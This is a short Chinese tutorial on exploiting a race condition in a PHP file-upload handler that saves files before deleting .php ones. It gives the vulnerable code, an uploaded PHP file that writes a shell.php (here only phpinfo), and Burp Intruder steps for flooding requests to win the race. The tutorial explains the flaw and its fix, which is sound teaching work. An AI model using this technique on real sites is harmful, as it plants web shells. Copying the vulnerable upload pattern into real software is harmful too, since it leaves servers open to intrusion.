条件竞争的原理是没有对临界资源(共享变量)实现互斥访问,这就可能导致多线程访问时出现结果的不可再现性。解决方法可以是加锁,对临界区的操作要有原子性。
实验环境: wamp,burpsuit
案例
一个文件上传操作,主要源码如下:
<?php
header("content-type:text/html;charset=utf-8");
if($_FILES["myfile"]["error"] > 0){
echo "upload error";
}else{
$filename = $_FILES["myfile"]["name"];
$ext = substr($filename, strrpos($filename, '.')+1);
$path = 'upload/'.$filename;
$tmp = $_FILES["myfile"]["tmp_name"];
if(move_uploaded_file($tmp, $path)){
if(!preg_match("/php/i", $ext)){
echo 'upload success,file in'.$path;
}else{
unlink($path);
die("can't upload php file");
}
}else{
die('upload error!');
}
}
?>
主要功能是接受一个上传文件,若这个文件的后缀名为php,那么就会删除掉这个文件。这里的问题就是没有对临界区加锁,导致多个线程竞争时,可能访问还没有来得及删除的php文件。我们就可以利用这一点,利用还未删除的php文件生成一个shell.php。这样就可以成功实现上传shell。
上传的文件xxx.php内容如下:
<?php
$content = "<?php phpinfo();?>";
file_put_contents("shell.php", $content);
?>
流程图如下:
实验步骤
一、上传xxx.php,用burp抓包
二、将数据包送到Intruder模块,Postion设置点击clear,然后到Playloads设置。Playload type设置为Null playloads。
playload数目设置为1000个。
然后到Options的设置,设置线程数为50
二、访问:…/upload/xxx.php。抓包,按照上面的操作,送到Intruder模块,设置playload数目和线程数
三、进行爆破
四、访问 …/upload/shell.php
总结
要避免条件竞争,需要对临界资源进行互斥操作。